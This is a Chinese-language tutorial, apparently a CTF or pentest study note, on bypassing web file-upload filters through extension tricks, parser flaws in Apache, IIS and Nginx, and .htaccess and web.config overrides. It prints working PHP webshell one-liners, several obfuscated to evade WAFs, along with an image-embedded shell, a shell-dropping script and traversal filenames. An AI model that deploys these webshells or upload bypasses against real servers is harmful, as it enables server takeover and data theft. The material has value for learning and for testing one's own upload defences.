文件上传绕过

1. 修改文件名后缀

  • %00截断

post提交的话,需要将%00进行url编码

  • 大小写、双写绕过文件上传
  • 点、空格绕过文件上传

在文件后缀上添加空格重新命名,会自动删除所谓的空格,点同理会自动删除的,因为可能尝试欺骗服务器验证。系统默认是不支持加空格、加点的,比如“.php空格”会自动解析为“.php”,“.php.”会自动解析为“.php”。比如使用BurpSuite抓包进行操作,如下图所示,将上传的“.php”文件后增加一个空格,再点击Forward进行上传。

  • PHP345文件绕过上传

PHP3代表PHP版本3,这里用于文件绕过检测。一般的软件都是向下兼容,PHP3代码,PHP5同样兼容能够执行。如下图所示,fox.php5文件同样能够正常上传。

  • Windows ::$DATA绕过

Windows ::$DATA绕过只能用于Windows,Windows下NTFS文件系统有一个特性,即NTFS文件系统在存储数据流的一个属性DATA时,是请求a.php本身的数据。如果a.php还包含了其他的数据流,比如a.php:lake2.php,请求a.php:lake2.php::$DATA,则是请求a.php中的流数据lake2.php的流数据内容。简单来说,就是在数据后面加上::$DATA实现绕过,fox.php::$DATA返回fox.php数据。

image-20210725213458470
  • Apache解析漏洞上传

Apache是从右到左判断解析,如果为不可识别解析,就再往左判断。比如1.php.xxx对Apache来说xxx是不可解析的,所以就会解析成1.php,这就是该漏洞的实现原理。

2. 图片一句话木马

1
copy mm.jpg/b+ma01.php/a mm-ma01.jpg

有时候不需要这样,只要在加上gif头即可,一般情况下可以绕过

1
2
GIF89a
<?php assert($_POST[whuctf]); ?>

这是因为部分网站是有文件格式解析的,即网站会判断上传的脚本是否可以被执行,某些文件格式是无法被解析的,即上传的jpg\gif格式文件无法被php格式解析。这也是为什么有的图片一句话木马不能访问,其实和网站环境相关,也涉及到解析漏洞,需要让所上传的文件按php格式解析才能运行。

3. 过狗一句话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//通过变量赋值
<?php $a='b'; $$a='assert'; $b($_POST[shell]); ?>
<?php $a = "eval"; $a(@$_POST['shell']); ?>

//通过str_replace函数替换
<?php $a=str_replace("Waldo", "", "eWaldoval"); $a(@$_POST['shell']); ?>

//通过base64_decode函数编码
<?php $a=base64_decode("ZXZhbA=="); $a($_POST['shell']);?>

//通过字符串拼接
<?php $a="e"."v"; $b="a"."l"; $c=$a.$b; $c($_POST['shell']); ?>

//利用parse_str函数
<?php $str="a=eval"; parse_str($str); $a($_POST['shell']); ?>

//使用脚本
<script language="PHP"> @eval($_POST['shell']); </script>

//创建shell.php文件
<?php fputs(fopen('shell.php','w'),'<?php assert($_POST[whuctf]);?>'); ?>

//使用一句话木马时可以在函数前加”@”符 让php语句不显示错误信息从而增加隐蔽性

4. 常见MIME

  • {“.3gp”, “video/3gpp” }
  • {“.asp”, “application/x-asap” }
  • {“.avi”, “video/x-msvideo” }
  • {“.bmp”, “image/bmp” }
  • {“.cpp”, “text/plain” }
  • {“.jpg”, “image/jpeg” }
  • {“.mp4”, “video/mp4” }

5. htaccess文件绕过上传

.htaccess文件或者“分布式配置文件”提供了针对每个目录改变配置的方法,即在一个特定的目录中放置一个包含指令的文件,其中的指令作用于此目录及其所有子目录。简单来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。它的功能有:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或目录的访问、禁止目录列表、配置默认文档等。这里我们需要用到的是改变文件扩展名,代码如下:

1
2
3
<FilesMatch "eastmount">
SetHandler application/x-httpd-php
</FilesMatch>

接着它会把fox名字的文件全都以php来运行,需要特殊文件进行创建,如Notepad++。首先上传一个“.htaccess”文件,再上传一个“fox.jpg”文件,它会将这张图片以php来解析。

image-20210725213249528

6. IIS6.0 解析漏洞

  • 目录解析
    以“*.asp”命名的文件夹里的文件都将会被当成ASP文件执行,比如“1.asp/1.jpg”,这里1.jpg会被当做asp文件执行。
  • 文件解析
    “*.asp;.jpg”像这种畸形文件名在 “;” 后面的直接被忽略,也就是说当成 “*.asp”文件执行。比如“1.asp;1.jpg”命名的文件,同样是以asp脚本进行执行。

利用IIS6.0解析漏洞,我们可以在网站下建立名字为“*.asp” 、“*.asa”的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析。例如创建目录“vidun.asp”,则“/vidun.asp/1.jpg”将被当作asp文件来执行。如下图所示,尝试在左边“upfile/”文件路径名后面增加文件名称“1.asp;”,然后点击请求发送。右边会显示文件成功上传,其路径详见图中。

7. 编辑器漏洞

编辑器属于第三方软件,它的作用是方便网站管理员上传或编辑网站上的内容,类似我们电脑上的Word文档。常用编辑器包括FCKeditor、EWEbeditor、CKFinder、UEDITOR等。

FCKeditor编辑器漏洞利用
在高版本fck中,直接上传或抓包修改文件名“a.asp;.jpg”,都会将前面的点变成下划线,也就是变成“a_asp;.jpg”,这样我们的文件名解析就无效果了。绕过方法是突破建立文件夹,其实质是利用我们IIS6.0的目录解析。

假设路径为“/fckeditor/editor/filemanager/connectors/test.html”,文件名中包含“fck”,可以直接判定为FCK编辑器。在FCKeditor中选中“a.asp;.png”并成功上传,如下图所示。

打开服务器,可以看到成功上传的图片文件。它名字被修改为“a_asp;.png”,这就是FCK高版本的过滤,它将“.”修改为“_”。

eWebEditor编辑器漏洞
eWeb编辑器需要登录后台,其默认数据库地址是:ewebeditor/db/ewebeditor.mdb,利用eweb遍历漏洞遍历文件目录、查看整个网站结构及敏感信息,比如:ewebeditor/admin_uploadfile.asp?id=14&dir=./。

8. IIS高版本上传–畸形解析漏洞

  • 畸形解析漏洞影响版本
    IIS7、IIS7.5、Nginx<0.8.03
  • 漏洞产生条件
    开启Fast-CGI或php配置文件中cgi.fix_pathinfo。
  • 漏洞产生原因
    其漏洞不是IIS本身的问题,而是PHP配置不当造成的问题,根本原因是开启了cgi.fix_pathinfo选项。由于该漏洞是php配置造成,并且默认开启该功能,所以它影响了IIS7、IIS7.5、IIS8.5等多个版本,凡是IIS+PHP都有可能会有这个漏洞。
  • 漏洞利用方法
    当我们上传一张名为“1.jpg”的图片文件,并且这张图片文件里包含以下代码。那么它会生成一个叫shell.php的脚本文件,并写入我们的一句话,密码为cmd。而一句话的位置是:上传的图片文件名字“/shell.php”。如果图片没有被改名,那么现在我们的一句话文件在“1.jpg/shell.php”中。
1
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>'); ?>

访问“/1.jpg/shell.php”显示的内容为空。

但是此时会在服务器生成一个名为“shell.php”的文件

并且“shell.php”包含了我们的一句话木马,这样通过Caidao即可访问该页面,并获取服务器的文件目录。

9. aspx漏洞

aspx它有一个“web.config”的配置文件,它规定我们上传文件的后缀。

我们可以自定一个后缀名来解析aspx文件。

换句话说,当我们遇到可以上传配置文件的时候,则上传我们修改好的配置文件,然后自定义一个后缀名如“.ad”,从而绕过WAF或检测,上传成功之后它会解析成aspx并执行。如下图所示:

image-20210725214101370

10. 双写filename绕过waf

重写filename,比如

1
2
3
filename='abc.jpg' 
重写为
filename='abc.jpg' filename='abc.php'

11. 目录穿越

比如/upload下禁止访问php文件,穿越目录:

1
file='../../abc.php'